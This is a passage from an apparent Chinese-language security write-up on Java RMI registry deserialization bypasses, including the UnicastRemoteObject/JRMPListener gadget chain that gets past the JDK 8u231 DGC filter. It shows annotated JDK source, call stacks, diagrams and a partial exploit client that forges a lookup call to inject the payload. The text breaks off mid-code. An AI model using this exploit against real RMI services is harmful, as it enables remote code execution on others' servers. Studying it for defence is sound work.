    note over A,R_Skel: 🔒 高版本:bind/rebind/unbind 需本机来源(checkAccess)
lookup/list 无此限制,可远程触发 %% ── 伪造 lookup 调用 ── A->>R_Skel: 伪造 newCall(op=lookup/2),out.writeObject(任意对象) 🎯 A->>R_Skel: invoke() R_Skel->>R_CIS: getInputStream() alt 旧版处理参数:readObject → 再强转 String R_Skel->>R_CIS: in.readObject()(先反序列化)⏩ opt 可选防护:JEP 290(ObjectInputFilter)🛡️ R_CIS->>R_CIS: 类名/深度/数组/引用数检查 alt 过滤拒绝 R_Skel-->>A: InvalidClassException / UnmarshalException 🚫 else 过滤通过 note right of R_CIS: RemoteObject.readObject → UnicastRef.readExternal →
LiveRef.read(...) → saveRef(liveRef) 📦 end end R_Skel-->>A: 随后强转 String 失败 → ClassCastException/UnmarshalException ⚠️ else 新版处理参数:SharedSecrets.readString(in) 🛡️ R_Skel->>R_Skel: 仅接受 TC_STRING / TC_LONGSTRING alt 来的是 TC_OBJECT 等非字符串 R_Skel-->>A: 非字符串标记 → 直接异常(不构造任意对象) ✅🚫 else 纯字符串 R_Skel->>R_Skel: 正常继续 lookup 流程 ✅ end end %% ── 收尾与 DGC 联动(仅当注入对象是 Stub 才发生) ── R_Skel-->>R_CIS: finally: releaseInputStream() 🧹 alt 注入对象是 Stub(含 UnicastRef/LiveRef) note right of R_CIS: saveRef(liveRef) 已在读取时完成;此处批量上报 🔁 R_CIS->>R_DGC: registerRefs(endpoint, [liveRef...]) 🔁 R_DGC->>L: JRMP 调用 DGC.dirty(ObjID[], Lease请求) 🌐 note over R_DGC,L: 返回值路径受版本/策略影响:
正常返回走 leaseFilter 白名单 🛡️;
异常返回可能更早触发反序列化 ⚠️ else 注入对象非 Stub note right of R_CIS: 无 DGC 联动(无 LiveRef) ✅ end

调用堆栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
at java.net.URLStreamHandler.getHostAddress(URLStreamHandler.java:439)
at java.net.URLStreamHandler.hashCode(URLStreamHandler.java:361)
at java.net.URL.hashCode(URL.java:957)
at java.util.HashMap.hash(HashMap.java:339)
at java.util.HashMap.readObject(HashMap.java:1462)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:564)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585)
at java.io.ObjectInputStream.access$300(ObjectInputStream.java:222)
at java.io.ObjectInputStream$GetFieldImpl.readFields(ObjectInputStream.java:2525)
at java.io.ObjectInputStream.readFields(ObjectInputStream.java:602)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:71)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:564)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1160)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2207)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2078)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1585)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:252)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375)
at sun.rmi.transport.DGCImpl_Stub.dirty(DGCImpl_Stub.java:109)
at sun.rmi.transport.DGCClient$EndpointEntry.makeDirtyCall(DGCClient.java:377)
at sun.rmi.transport.DGCClient$EndpointEntry.registerRefs(DGCClient.java:319)
at sun.rmi.transport.DGCClient.registerRefs(DGCClient.java:155)
at sun.rmi.transport.ConnectionInputStream.registerRefs(ConnectionInputStream.java:102)
at sun.rmi.transport.StreamRemoteCall.releaseInputStream(StreamRemoteCall.java:157)
at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:113)
at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:467)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:297)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(AccessController.java:-1)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:800)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:682)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$36.2071178362.run(Unknown Source:-1)
at java.security.AccessController.doPrivileged(AccessController.java:-1)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641)
at java.lang.Thread.run(Thread.java:844)

注意这里因为 RegistryImpl_Skel.dispatch 是通过 readObject 反序列化字符串对象,然后再强转成字符串。因此这里支持我们传入任意对象触发反序列化。

1
2
3
java.lang.String s;
ObjectInput in = call.getInputStream();
s = (java.lang.String) in.readObject(); // 先反序列化“一个对象”,再强转为 String

然而高版本把它改成了只读“字符串标签”的内部 API:

1
2
ObjectInputStream in = (ObjectInputStream) call.getInputStream();
s = SharedSecrets.getJavaObjectInputStreamReadString().readString(in);

这个 readString 只接受 TC_STRING/TC_LONGSTRING(或对已有字符串的引用)。如果来的是 TC_OBJECT 等非字符串标记,不会去构造任意对象,而是直接异常(代码里还会 discardPendingRefs() 清理)。因此**不会进入攻击者对象的 readObject/readResolve/readExternal**。

UnicastRemoteObject 反序列化(8u241 前)

JDK 8u231 修复了 DGCImpl_Stub,在 cleandirty 的反序列化前设置了过滤器 DGCImpl_Stub::leaseFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// implementation of dirty(ObjID[], long, Lease)
public java.rmi.dgc.Lease dirty(java.rmi.server.ObjID[] $param_arrayOf_ObjID_1, long $param_long_2, java.rmi.dgc.Lease $param_Lease_3)
throws java.rmi.RemoteException {
try {
StreamRemoteCall call =
(StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject) this,
operations, 1, interfaceHash);
call.setObjectInputFilter(DGCImpl_Stub::leaseFilter); // 🚨 新增过滤器
try {
java.io.ObjectOutput out = call.getOutputStream();
out.writeObject($param_arrayOf_ObjID_1);
out.writeLong($param_long_2);
out.writeObject($param_Lease_3);
} catch (java.io.IOException e) {
throw new java.rmi.MarshalException("error marshalling arguments", e);
}
ref.invoke(call);

DGCImpl_Stub::leaseFilter 实现如下,总之高版本无法通过 DGC 欺骗的方式进行反序列化利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/**
* ObjectInputFilter:用于过滤 DGCClient 的返回值(一个 Lease 对象)。
* 允许的类型集合非常有限且显式;同时限制对象嵌套深度与数组长度。
*
* 重要:过滤器既要允许“正常返回”,也要允许“异常返回”。
* DGC 服务端可能会抛异常,并且异常可能包含 cause 与 suppressed 异常。
*
* @param filterInfo 访问正在反序列化对象的信息(类、数组长度、当前深度等)
* @return 允许返回 {@link ObjectInputFilter.Status#ALLOWED},
* 拒绝返回 {@link ObjectInputFilter.Status#REJECTED},
* 否则返回 {@link ObjectInputFilter.Status#UNDECIDED}
*/
private static ObjectInputFilter.Status leaseFilter(ObjectInputFilter.FilterInfo filterInfo) {

// 若对象图嵌套深度超过上限,则拒绝(防止构造深层嵌套触发资源消耗)
if (filterInfo.depth() > DGCCLIENT_MAX_DEPTH) {
return ObjectInputFilter.Status.REJECTED;
}

// 当前要反序列化的“声明类”(可能为数组/非数组;也可能为 null,如流中的非对象片段)
Class<?> clazz = filterInfo.serialClass();
if (clazz != null) {
// 若是数组类型,则逐层剥离到元素类型,同时检查数组长度上限
while (clazz.isArray()) {
// 限制数组长度(>=0 表示流中给出了具体长度)
if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > DGCCLIENT_MAX_ARRAY_SIZE) {
return ObjectInputFilter.Status.REJECTED;
}
// 继续下钻到组件类型(直到拿到最终元素类型)
clazz = clazz.getComponentType();
}

// 基本类型(或基本类型数组在上面的循环里已剥到基本类型)直接允许
if (clazz.isPrimitive()) {
return ObjectInputFilter.Status.ALLOWED;
}

// 白名单判断:
// 仅允许:
// - UID / VMID / Lease(DGC 相关的数据类型)
// - Throwable 及其子类,但必须是由引导类加载器加载(== Object 的 classloader,一般为 null),防止自定义异常类型
// - StackTraceElement(异常栈元素)
// - ArrayList(用于承载 suppressed 异常列表)
// - Object(某些返回路径可能声明为 Object)
// - java.util.Collections 的不可变集合视图(Unmodifiable*)
return (clazz == UID.class ||
clazz == VMID.class ||
clazz == Lease.class ||
(Throwable.class.isAssignableFrom(clazz) &&
// 仅接受“JDK 自带”的异常类型(引导类加载器加载)
clazz.getClassLoader() == Object.class.getClassLoader()) ||
clazz == StackTraceElement.class ||
clazz == ArrayList.class || // suppressed 异常列表的常见实现
clazz == Object.class ||
clazz.getName().equals("java.util.Collections$UnmodifiableList") ||
clazz.getName().equals("java.util.Collections$UnmodifiableCollection") ||
clazz.getName().equals("java.util.Collections$UnmodifiableRandomAccessList"))
? ObjectInputFilter.Status.ALLOWED
: ObjectInputFilter.Status.REJECTED;
}

// clazz 为 null:当前片段不是一个具体类(如流控制信息等),不做判断,交由后续/外层过滤器决定
return ObjectInputFilter.Status.UNDECIDED;
}

国外安全研究人员 @An Trinhs 发现了一个 gadgets 利用链,能够直接反序列化 UnicastRemoteObject 造成反序列化漏洞。

当我们反序列化 UnicastRemoteObject 这个类时,由于该类重写了 readObject 方法,所以在反序列化的时候会调用到他的 reexport 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* 反序列化钩子(UnicastRemoteObject → RemoteServer):
* 当 UnicastRemoteObject 实例从输入流中被反序列化时,立刻将其“重新导出”(re-export),
* 使该对象在当前 JVM 中再次成为可远程调用的 RMI 对象。
*
* 工作流程:
* 1) defaultReadObject():恢复对象的非 transient 字段(如端口、客户端/服务端 SocketFactory 等)。
* 2) reexport():依据已恢复的配置将对象绑定到 RMI 传输层(创建/注册监听、参与 DGC 等),
* 让该实例重新具备远程可达性。
*
* 说明:
* - 该方法由 Java 反序列化机制自动回调,应用代码不需要显式调用。
* - 出于安全考虑,应结合 ObjectInputFilter 等机制限制可反序列化的数据与类型,
* 防止在 reexport() 过程中因恶意配置触发意外的网络副作用。
*/
private void readObject(java.io.ObjectInputStream in)
throws java.io.IOException, java.lang.ClassNotFoundException {
// 恢复对象状态(与 writeObject/defaultWriteObject 对应)
in.defaultReadObject();

// 基于恢复后的字段重新导出到 RMI 运行时,使其再次可被远程访问
reexport(); // 👈
}

reexport 方法里,如果 ssf 是被我们设置了值,那么进入 else 判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
* 重新导出(re-export)该 UnicastRemoteObject。
*
* 背景:
* - 当对象通过“反序列化 / 克隆”等方式创建时,并不会执行构造函数;
* 此时需要依赖已恢复的字段(port、csf、ssf)把对象再次导出到 RMI 运行时,
* 使其重新具备远程可达性(生成/更新 stub、注册 DGC、开始监听等)。
*
* 行为:
* - 若未指定自定义套接字工厂(csf/ssf 均为 null),使用默认传输层导出;
* - 否则,使用指定的客户端/服务端 SocketFactory 导出,影响连接的创建方式
* (如自定义握手、代理/隧道、绑定网卡/端口等)。
*
* 注意:
* - 若对象已被导出,重复导出可能抛出 ExportException。
* - 自定义 RMIServerSocketFactory(ssf)/RMIClientSocketFactory(csf)会改变网络行为,
* 在受限/生产环境下应结合反序列化过滤与最小权限策略审慎使用。
*/
private void reexport() throws RemoteException {
if (csf == null && ssf == null) {
// 使用默认传输层导出:在指定 port 上监听并注册到 RMI 运行时
exportObject((Remote) this, port);
} else {
// 使用自定义的客户端/服务端 SocketFactory 导出
exportObject((Remote) this, port, csf, ssf); // 👈
}
}

接着调用 exportObject 方法,该方法通常用来导出远程对象。和前面远程对象导出的过程一致。

TCPTransoprt#exportObject 调用 listen 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/**
* 导出对象,使其能够接受来自远程的调用。
*
* 工作流程:
* 1) 首先,确保服务器套接字(Server Socket)正在监听远程连接请求,同时**通过同步**避免由于并发 `unexport` 操作导致套接字被关闭。
* 2) 然后尝试将目标对象(Target)添加到已导出的对象表中,并保持**继续计数**,确保服务器套接字不会被关闭,直到所有导出计数完成。
* 3) 如果成功,将目标对象(Target)正式导出并能够处理远程方法调用。
* 4) 如果导出失败,通过同步机制**减少导出计数**,确保资源管理不出现泄漏。
*
* 注意:
* - `listen()` 方法会开启服务器端口并监听来自远端的连接。
* - `exportCount` 用来追踪当前对象的导出次数,防止套接字在进行并发 `unexport` 时被意外关闭。
* - `super.exportObject(target)` 是父类方法调用,负责将对象注册到远程对象表。
* - 采用**同步机制**来确保线程安全,避免由于多个导出/撤销操作并发执行时导致资源冲突。
*/
public void exportObject(Target target) throws RemoteException {
// 确保服务器套接字正在监听,并增加导出计数
synchronized (this) {
listen(); // 👈
exportCount++;
}

// 尝试将目标对象(Target)添加到已导出对象表
boolean ok = false;
try {
// 调用父类的 exportObject 方法,正式导出对象
super.exportObject(target);
ok = true;
} finally {
// 如果导出失败,减少导出计数
if (!ok) {
synchronized (this) {
decrementExportCount();
}
}
}
}

继续跟进 listen 方法,跟进 TCPEndpoint#newServerSocket 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/**
* 在该传输(TCP)端点上开始监听进入的连接。
*/
private void listen() throws RemoteException {
// 断言当前线程已持有 this 的锁,保证在受控的同步环境中调用
assert Thread.holdsLock(this);

TCPEndpoint ep = getEndpoint(); // 获取当前传输对应的 TCP 端点(地址/端口/工厂等)
int port = ep.getPort(); // 取出监听端口

if (server == null) { // 若尚未创建 ServerSocket,则进行初始化
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " + port + ") create server socket");
}
try {
// 基于端点创建实际的 ServerSocket(可能走自定义的 SocketFactory)
server = ep.newServerSocket(); // 👈

/*
* 如果创建失败,不要重试:
* 常见错误如“端口被占用”会导致导出(export)过程卡死,
* 除非安装了 RMIFailureHandler 来接管失败情况。
*/

// 以特权操作创建并启动一个守护线程,负责 accept() 新连接
Thread t = AccessController.doPrivileged(
new NewThreadAction(
new AcceptLoop(server), // 连接接受循环
"TCP Accept-" + port, // 线程名
true // true = 守护线程
)
);
t.start(); // 开始在后台接受连接

} catch (java.net.BindException e) {
// 端口已被占用,包装为导出异常抛出
throw new ExportException("Port already in use: " + port, e);
} catch (IOException e) {
// 其他 I/O 错误导致监听失败
throw new ExportException("Listen failed on port: " + port, e);
}
} else {
// 如果已存在 ServerSocket,则进行安全检查是否允许在该端口监听
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
sm.checkListen(port);
}
}
}

TCPEndpoint#newServerSocket 方法中,如果我们把 ssf 设置为通过 RemoteObjectInvocationHandler 生成的代理类,那么就会调用到 RemoteObjectInvocationHandler#invoke 方法,从而发起一次远程调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* 返回一个新的 ServerSocket,用于在该端点上监听进入的连接。
*/
ServerSocket newServerSocket() throws IOException {
// 若日志级别为 VERBOSE,则记录创建 ServerSocket 的调试信息
if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
TCPTransport.tcpLog.log(Log.VERBOSE,
"creating server socket on " + this);
}

RMIServerSocketFactory serverFactory = ssf; // 优先使用已配置的自定义 ServerSocket 工厂
if (serverFactory == null) {
serverFactory = chooseFactory(); // 若未指定,按策略选择(默认/SSL/通道等)
}

// 使用工厂创建监听套接字;listenPort 可能为 0(匿名端口,交由系统分配)
ServerSocket server = serverFactory.createServerSocket(listenPort); // 👈

// 如果是匿名端口,则将实际分配到的端口记录为“默认端口”
// (针对这对 socket factory:csf/ssf),便于后续复用
if (listenPort == 0)
setDefaultPort(server.getLocalPort(), csf, ssf);

return server; // 返回已创建的监听 socket(尚未进入 accept 循环)
}

invoke 方法中,检测声明方法的类,如果不为 Object,进入 invokeRemoteMethod 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* 处理对动态代理实例 proxy 的方法调用,并返回结果。
*/
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable
{
// 安全校验:传入的 proxy 必须是 JDK 动态代理类生成的实例
if (! Proxy.isProxyClass(proxy.getClass())) {
throw new IllegalArgumentException("not a proxy");
}

// 防护:确保这个 proxy 绑定的 InvocationHandler 就是当前对象
if (Proxy.getInvocationHandler(proxy) != this) {
throw new IllegalArgumentException("handler mismatch");
}

// 1) 如果调用的是 Object 类的方法(hashCode/equals/toString),
// 转到专门的处理逻辑,避免把本地方法误当作远程调用。
if (method.getDeclaringClass() == Object.class) {
return invokeObjectMethod(proxy, method, args);

// 2) 如果是 Object.finalize()(且无参),忽略之(不触发远程调用)。
} else if ("finalize".equals(method.getName()) && method.getParameterCount() == 0) {
return null; // ignore

// 3) 其余情况:按 RMI 规则走远程调用
} else {
return invokeRemoteMethod(proxy, method, args); // 👈
}
}

invokeRemoteMethod 方法首先检测 Proxy 的是否实现 Remote 接口,这里是我们能控制的,因为在创建代理类的时候就需要指定实现的接口。

这里的 ref 被赋值为 UnicastRef,并且存有恶意服务端(这里我们的注册中心一端转变成客户端,而恶意监听的一端相当于服务端)的 tcp 信息,这里是我们在序列化数据的时候设置的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 处理真正的远程方法调用。
*/
private Object invokeRemoteMethod(Object proxy,
Method method,
Object[] args)
throws Exception
{
try {
// 保护性校验:RMI 的动态代理必须实现 java.rmi.Remote
if (!(proxy instanceof Remote)) {
throw new IllegalArgumentException("proxy not Remote instance");
}

// 📌 发起远程调用:把 proxy/method/args 以及“方法哈希”交给 RemoteRef
// RemoteRef 一般是 UnicastRef/UnicastRef2,负责编组、网络发送与解组
return ref.invoke((Remote) proxy, method, args, getMethodHash(method));

} catch (Exception e) {
// [...]
}
}

和之前一样,如果我们远端的恶意服务器返回一个异常(TransportConstants.ExceptionalReturn)返回类型,并且返回一个恶意反序列化对象,则会在 StreamRemoteCall#executeCall 接收返回结果时触发反序列化。并且这里全程没有设置反序列化过滤器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public Object invoke(Remote obj,
Method method,
Object[] params,
long opnum)
throws Exception
{
// [...]
call.executeCall();
// [...]
}

public void executeCall() throws Exception {
byte returnType;

// read result header
DGCAckHandler ackHandler = null;
try {
if (out != null) {
ackHandler = out.getDGCAckHandler();
}
releaseOutputStream();
DataInputStream rd = new DataInputStream(conn.getInputStream());
byte op = rd.readByte();
if (op != TransportConstants.Return) {
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"transport return code invalid: " + op);
}
throw new UnmarshalException("Transport return code invalid");
}
getInputStream();
returnType = in.readByte();
in.readID(); // id for DGC acknowledgement
} catch (UnmarshalException e) {
throw e;
} catch (IOException e) {
throw new UnmarshalException("Error unmarshaling return header",
e);
} finally {
if (ackHandler != null) {
ackHandler.release();
}
}

// read return value
switch (returnType) {
case TransportConstants.NormalReturn:
break;

case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject(); // 🚨 接收恶意序列化对象
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}

// [...]
}
}
sequenceDiagram
    autonumber

    %% ── 不同进程分组(带背景色) ──
    box rgb(230,242,255) 攻击者客户端(进程A)
      participant A as 攻击者客户端
    end

    box rgb(232,245,233) 注册中心(进程B)
      participant S as RegistryImpl_Skel / Skeleton
      participant OIS as ObjectInputStream
      participant T as TCPTransport / TCPEndpoint / StreamRemoteCall
    end

    box rgb(255,243,224) 恶意JRMPListener(进程C)
      participant L as JRMPListener
    end

    %% ── 攻击端准备 ──
    A->>A: 构造 payload = UnicastRemoteObject
(ssf = Proxy[RMIServerSocketFactory, Remote]
→ RemoteObjectInvocationHandler(ref=UnicastRef[LiveRef→TCPEndpoint(L)])) A->>S: 伪造 lookup(opnum=2, arg=payload) note right of A: 通过 ref.newCall(..., opnum=2)
out = call.getOutputStream()
**反射** set enableReplace=false
out.writeObject(payload) %% ── 服务器端反序列化触发 reexport ── S->>OIS: getInputStream() S->>OIS: in.readObject() 反序列化 payload note right of OIS: UnicastRemoteObject.readObject → defaultReadObject →
**reexport()**(依据恢复的 port/csf/ssf) %% ── reexport 导出并监听 → 触发 ssf 远调 ── S->>T: exportObject(...) → listen() T->>T: TCPEndpoint.newServerSocket() T->>L: ssf.createServerSocket(port)
(经 Remote 动态代理 → JRMP 远程调用) alt 正常返回(NormalReturn) ✅ L-->>T: 正常返回(ServerSocket 信息) T-->>S: 继续导出;无利用发生 else 异常返回(ExceptionalReturn) ⚠️ L-->>T: 返回异常 + 恶意对象(gadget) T->>T: StreamRemoteCall.executeCall() 读取返回头 T->>T: in.readObject() 反序列化异常对象 note over T: 此链路**未设置** ObjectInputFilter(不同于 DGC 的 leaseFilter)
→ 可能触发 gadget 链 🧨 T-->>S: 抛 UnexpectedException / UnmarshalException(事后) end S-->>A: lookup 抛异常(类型不匹配/Unexpected)
但**副作用已发生**

需要注意的是这里远程调用时 writeObject 序列化类的 ObjectOutputStream 实际上是 RMI 的 sun.rmi.server.MarshalOutputStream

如果直接将我们构造的 UnicastRemoteObject 反序列化会有下面这个调用链:

1
2
3
4
at sun.rmi.server.MarshalOutputStream.replaceObject(MarshalOutputStream.java:81)
at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1145)
at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:349)
at org.example.RMIClient.lookupInject(RMIClient.java:63)

writeObject0 中如果 enableReplacetrue 则会调用 replaceObject 函数对我们要序列化的对象做转换:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 若开启了“流级替换”(由 ObjectOutputStream.enableReplaceObject(true) 打开)
if (enableReplace) {
// 让当前输出流有机会把对象“替换”为另一个对象
// (RMI 的 MarshalOutputStream 会在这里把 Remote 实例替换成 stub)
Object rep = replaceObject(obj); // 👈

// 如果替换产生了“不同且非空”的新对象,
// 则以新对象的 Class 重新查询其序列化描述符(ObjectStreamClass)
if (rep != obj && rep != null) {
cl = rep.getClass();
desc = ObjectStreamClass.lookup(cl, true);
}

// 更新待写出的对象为“替换后”的对象(允许为 null,后续流程会按 null 处理)
obj = rep;
}

MarshalOutputStream 在构造的时候默认会设置 enableReplaceObjecttrue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* 使用指定的协议版本创建一个用于 RMI 编组的输出流。
*/
public MarshalOutputStream(OutputStream out, int protocolVersion)
throws IOException
{
super(out); // 构造 ObjectOutputStream,会立即写出流头部(魔数/版本)

this.useProtocolVersion(protocolVersion);
// 设定对象流协议版本(如 PROTOCOL_VERSION_1 / 2)。
// 必须在第一次真正写对象之前调用;此处在构造后立即设置,符合要求。
// 版本影响后续写法(是否使用 block data 等),用于兼容旧版 JRMP/RMI。

java.security.AccessController.doPrivileged(
new java.security.PrivilegedAction<Void>() {
public Void run() {
// 开启“流级替换”功能,使 writeObject0(...) 会回调 replaceObject(...)
// 注意:启用该功能需要 SerializablePermission("enableSubstitution") 权限,
// 放在 doPrivileged 中,确保在有 SecurityManager 时也能成功开启。
enableReplaceObject(true);
return null;
}
}
);
}

而在 MarshalOutputStream#replaceObject 中,如果我们反序列化的对象实现了 Remote 且对象本身还不是一个 RemoteStub 时会进行替换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* 检查是否有实现了 java.rmi.Remote 的对象需要被
* 序列化为“代理对象(stub/proxy)”来按引用传递。
*/
@SuppressWarnings("deprecation")
protected final Object replaceObject(Object obj) throws IOException {
// 仅当传入对象实现了 Remote 且当前对象本身还不是一个 RemoteStub
//(老式静态桩类)时,才考虑替换为 stub。
if ((obj instanceof Remote) && !(obj instanceof RemoteStub)) {
// 从 RMI 的对象表中查找该 Remote 实例对应的 Target(只有已 export 的才有)
Target target = ObjectTable.getTarget((Remote) obj);
if (target != null) {
// 若已导出,直接拿到其桩(可能是动态代理,也可能是旧的静态 stub)
return target.getStub();
}
}
// 否则不做替换,按原对象继续序列化流程
return obj;
}

由于 UnicastRemoteObject 实现了 Remote,没有实现 RemoteStub,于是会进入判断,就会替换我们的obj,以至于反序列化的时候不能还原我们构造的类。

UnicastRemoteObject

解决方法是在 writeObject 序列化对象前设置 enableReplacefalse

1
2
3
ObjectOutput out = call.getOutputStream();
setFieldValue(out, "enableReplace", false);
out.writeObject(obj);

完整的 RMIClient 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.*;
import java.util.Random;

// ↓↓↓ 以下为 JDK 内部 API;JDK 9+ 编译/运行需 --add-exports(见文末说明)
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

/**
* 通过“自造 RegistryImpl_Stub 调用”在 lookup(opnum=2) 的参数反序列化阶段
* “注入任意对象”。即便随后类型检查失败(lookup 期望 String),反序列化副作用已发生。
*
* 核心技巧:
* 1) 使用 registry 的底层 RemoteRef 构造一次“手工”调用(newCall)。
* 2) 在参数写出前,反射把 MarshalOutputStream 的 enableReplace 置为 false,
* 避免 RMI 的流级替换把实现 Remote 的对象替换成 stub(否则无法还原 UnicastRemoteObject)。
* 3) payload 选择一个 UnicastRemoteObject,其 ssf(RMIServerSocketFactory)被设置为
* 远端代理(RemoteObjectInvocationHandler + UnicastRef 指向恶意 JRMPListener)。
* 当目标 JVM 反序列化后 reexport() → listen() → newServerSocket() → ssf.createServerSocket(...)
* 触发一次“出站远程调用”(到恶意 JRMP 服务),从而在对端反序列化返回异常路径中触发 gadget。
*/
public class RMIClient {

public static void main(String[] args) throws Exception {
String regHost = "127.0.0.1";
int regPort = 1099;

// 1) 获取 RMI 注册中心 stub
Registry registry = LocateRegistry.getRegistry(regHost, regPort);
System.out.println("[*] Connected to Registry " + regHost + ":" + regPort);

// 2) 构造要注入的对象:
// 这里用 UnicastRemoteObject 作为载体,并将其 ssf 置为“远端调用代理”
// JRMPListener 地址(ip:port)指向你的恶意服务
Object payload = buildUnicastRemoteObject("127.0.0.1", 12233);

// 3) 伪造 lookup 调用,将 payload 作为 lookup 的“字符串参数位置”写入
// 服务器先反序列化(触发副作用)后才尝试强转/校验
lookupInject(registry, payload);
System.out.println("[*] lookup injection sent.");
}

/**
* 伪造一次 Registry.lookup(opnum=2) 调用,把任意对象写入参数流。
* 服务器端 skeleton 在执行真正的类型检查之前,会先反序列化参数对象。
*/
public static Remote lookupInject(Registry registry, Object obj) throws Exception {
// 通过反射从代理对象中取出底层 RemoteRef / interfaceHash / operations
RemoteRef ref = (RemoteRef) getFieldValue(registry, "ref");
long interfaceHash = toLong(getFieldValue(registry, "interfaceHash"));
Operation[] operations = (Operation[]) getFieldValue(registry, "operations");

// 构造远程调用上下文:opnum=2 即为 Registry 的 lookup
